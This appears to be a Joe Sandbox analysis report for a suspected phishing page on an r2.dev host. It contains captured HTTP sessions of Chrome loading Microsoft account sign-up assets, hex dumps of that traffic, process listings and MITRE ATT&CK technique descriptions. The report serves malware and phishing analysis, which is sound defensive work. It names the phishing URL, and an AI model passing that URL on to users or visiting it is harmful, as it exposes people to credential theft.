2024-04-16 23:43:02 UTC	16384	IN	Data Raw: a5 f6 d5 ba 5a 55 c7 aa 0b 02 f8 6e 47 29 6b f3 f3 6b 85 d0 9d bc af 7f 49 5d b9 32 5a 86 10 3f 40 c0 d0 e3 b7 dc 2d ba 07 8c 35 87 69 33 88 83 3b 1e 75 d7 e4 51 d7 2e 6d f1 a3 ee a9 b8 5d af a8 e9 b2 7b aa 7c 2b ab d8 64 f5 8c a2 30 51 fe 81 a9 b4 af 96 99 59 08 9b 5d cf 70 6b 33 09 45 e2 56 9b e7 aa 79 94 85 5c ae 63 7c d6 b2 c1 78 4a d0 4f 9c 31 bb ce b1 6c c3 0e 6b 7c 15 11 4e 63 09 ba e5 b9 9c f5 4e 96 41 9a cd 81 50 d2 07 66 2b 19 a0 c9 b9 88 3d 6a 98 bb 60 c5 be 79 e1 9c c4 b2 de 6a 3d 68 3a 2b 62 c8 3e a6 96 30 2d 96 35 56 ab 54 83 c6 f9 06 1d 64 4d 85 87 c7 d1 c3 01 3b 49 b0 6c b1 56 1e 53 65 34 6f 87 ca 56 a7 79 ab 8b e4 e2 4c a7 e8 2e 5c b9 94 9f e1 39 63 9d c4 b2 e6 77 bb c3 3d 76 e6 71 68 19 16 fc 40 ab 33 cb 8c 53 63 4a fc b6 90 30 84 f4 6d Data Ascii: ZUnG)kkI]2Z?@-5i3;uQ.m]{\|+d0QY]pk3EVy\c\|xJO1lk\|NcNAPf+=j`yj=h:+b>0-5VTdM;IlVSe4oVyL.\9cw=vqh@3ScJ0m
2024-04-16 23:43:02 UTC	8207	IN	Data Raw: d3 a4 75 f7 72 65 cb 0e b4 a6 64 07 3c d5 2a 75 a5 6f 6f 41 f7 c3 60 17 93 75 ba 2b 78 70 b7 8a 94 48 fc 0d a4 a6 3d 3d 28 c8 1c c0 6c cb 59 44 00 a1 3a 30 a1 26 f8 98 a3 9f a5 1a c7 a1 6e 37 47 bb d6 d5 e8 93 7d 09 7c c0 92 6b 10 7c cf 72 96 c4 04 4b 69 51 d6 f4 6f ba 84 15 ec 77 11 be 5c 3d 65 42 f6 1d ae 67 a7 41 b6 3b c1 05 24 a5 08 84 11 08 31 40 70 31 4c 6d 4d 9a 1c 22 ea 01 3b b9 33 c2 3b c0 de 6c 5d 10 fe b4 e4 6d 33 e4 07 94 b0 53 9f 7f 76 33 1c 8b 9a 40 dc 3b 06 37 0a 97 fd d2 89 0d 58 55 67 48 2e c4 78 53 17 3a d3 04 dc f5 45 89 00 8f f6 5d df a6 4b d7 f5 51 1c 7e cb a7 2e 1c 20 cf 8a 4b 34 f5 23 94 46 c5 c2 a3 bc bb 26 4c 9d 0b 8c 77 f7 ab 62 09 62 36 39 6e 22 85 b1 4a 13 4a 6a b4 d8 41 7a 92 79 36 ea ca f9 82 b8 a4 7e 7f 5c 55 dc 35 98 c7 a8 Data Ascii: ured<*uooA`u+xpH==(lYD:0&n7G}\|k\|rKiQow\=eBgA;$1@p1LmM";3;l]m3Sv3@;7XUgH.xS:E]KQ~. K4#F&Lwbb69n"JJjAzy6~\U5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49780	13.107.213.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:43:01 UTC	592	OUT	GET /datarequestpackage_h-_7C7UzwdefXJT9njDBTQ2.js HTTP/1.1 Host: acctcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:43:02 UTC	814	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:43:01 GMT Content-Type: application/javascript Content-Length: 3505 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Mon, 15 Apr 2024 22:31:42 GMT ETag: 0x8DC5D9BD3667A2B x-ms-request-id: c78004ce-901e-0046-408b-8f5fa6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234301Z-r1f585c6b65s6t5bg30nh02cq000000002yg000000000w7w x-fd-int-roxy-purgeid: 67912908 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-16 23:43:02 UTC	3505	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ad 59 5b 73 db 36 16 7e cf af a0 51 8f 4c 8e 60 46 49 db dd ae 18 44 e3 da 71 e2 dc 63 2b cd 83 e3 e9 d0 24 24 31 a6 49 96 04 2d 2b 92 fe fb 7e 07 e0 4d 96 d2 d9 9d dd 4e 1d 13 07 07 07 e7 7e 81 f7 26 65 12 a8 28 4d 6c 67 59 7f 5a d2 96 9d 95 a2 55 2e 55 99 63 a7 d7 93 6e a1 7c 25 85 88 7b 3d 5b ba 59 2e ef 9a 0f 37 91 f7 4a 48 fd cb e1 e6 b7 de a4 0f 8d 21 0c a2 c3 4f 84 00 31 fb a4 c1 de 37 80 fd 06 a3 be a8 e4 b2 3e aa c9 27 65 1c f3 c5 e1 21 30 d6 0d 93 3e 31 19 4d ec 2e 83 a5 b3 bc f3 73 2b 17 fb 5e 3e b2 f3 8a b9 9a 5a ee 0c 71 39 ae 95 cd 4d 20 db ef af 5b a2 13 28 65 ef af 5e 6f ef ba d7 5b f4 7a f7 cf e7 60 f0 5a cc a3 24 4c e7 6e 21 d5 38 ba 95 69 a9 ec 29 2f 1c a7 3d 77 47 cc 98 ab ed 44 ce ad 13 10 77 dc a9 c1 b7 Data Ascii: Y[s6~QL`FIDqc+$$1I-+~MN~&e(MlgYZU.Ucn\|%{=[Y.7JH!O17>'e!0>1M.s+^>Zq9M [(e^o[z`Z$Ln!8i)/=wGDw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49775	13.107.213.41	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:43:01 UTC	613	OUT	GET /images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg HTTP/1.1 Host: acctcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:43:01 UTC	797	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:43:01 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Sun, 14 Apr 2024 05:06:00 GMT ETag: 0x8DC5C4093B87C8D x-ms-request-id: f0f68aa6-201e-0069-1f74-8e478a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234301Z-18655757dbcm69790nydn27waw000000049000000000he3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-16 23:43:01 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49782	13.107.246.71	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:43:02 UTC	378	OUT	GET /images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg HTTP/1.1 Host: acctcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:43:02 UTC	797	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:43:02 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=604800 Content-Encoding: gzip Last-Modified: Sun, 14 Apr 2024 05:06:00 GMT ETag: 0x8DC5C4093B87C8D x-ms-request-id: f0f68aa6-201e-0069-1f74-8e478a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234302Z-18655757dbc2z66dsb6gr56h38000000049g000000005knb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-16 23:43:02 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49784	13.107.246.71	443	1880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 23:43:02 UTC	364	OUT	GET /images/favicon.ico?v=2 HTTP/1.1 Host: acctcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-16 23:43:02 UTC	757	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 23:43:02 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=604800 Last-Modified: Sun, 14 Apr 2024 05:06:12 GMT ETag: 0x8DC5C409A931B84 x-ms-request-id: 4f9068e3-d01e-0052-7479-8e438c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240416T234302Z-18655757dbcgmrw6wp6x0vrcew000000048g00000000ewx0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-16 23:43:02 UTC	15627	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-04-16 23:43:02 UTC	1547	IN	Data Raw: 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333""""

Target ID:	0
Start time:	01:42:37
Start date:	17/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	01:42:39
Start date:	17/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2188,i,3570078562166595606,13269429034142598939,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	01:42:41
Start date:	17/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Windows Analysis Report
https://pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev/index.html